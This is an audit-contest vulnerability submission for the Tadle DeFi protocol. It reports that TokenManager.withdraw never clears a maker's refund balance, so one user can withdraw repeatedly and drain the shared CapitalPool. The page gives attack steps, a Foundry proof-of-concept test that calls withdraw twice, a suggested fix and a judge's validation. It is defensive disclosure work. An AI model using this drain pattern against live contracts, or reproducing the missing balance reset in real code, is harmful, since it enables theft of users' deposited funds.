Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Balance Decrease on Collateral Withdrawal, leads to user withdrawing all funds in the pool

kingnull

Description:
A maker can be able to withdraw other makers collateral because the protocol forgets to decrease the balance of a maker when collateral is withdrawed, so a maker can constantly called withdraw function until the whole protocol balance in the pool is finished. in Tadle a maker have to deposit collateral before he can create an offer , also the maker can choose to Abort the offer if he wishes to get his collateral back, now a bad actor can choose to deposit a collateral then create an offer and now abort the Ask offer and withdraw all funds in the tok

Impact:
protocols Balance can be fully wrecked by a bad actor leading to protocol total lost of funds

Proof of Concept:

  • user1(bad actor) deposit USDC token as collateral and create offer

  • another 10 users deposit USDC token as collateral too and create offer

  • user1 abort the ask offer and will now be ready to withdraw his collateral back

  • user1 keeps calling withdraw until all the funds in the contract is finished

Proof of Code:

function test_userCanWithdrawOtherUsersFund() public {
uint256 user2BalanceBefore = mockUSDCToken.balanceOf(user2);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
​
vm.stopPrank();
​
vm.startPrank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
​
vm.stopPrank();
​
address offerAddr1 = GenerateAddress.generateOfferAddress(0);
address stockAddr1 = GenerateAddress.generateStockAddress(0);
​
address offerAddr2 = GenerateAddress.generateOfferAddress(1);
address stockAddr2 = GenerateAddress.generateStockAddress(1);
​
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
​
preMarktes.abortAskOffer(stockAddr2, offerAddr2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
uint256 user2BalanceAfter = mockUSDCToken.balanceOf(user2);
assertGt(user2BalanceAfter, user2BalanceBefore);
}
​

Recommended Mitigation:
kindly decrease the collateral funds in the withdraw function whenever someone withdraw so that a user can only be able to withdraw only his funds

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.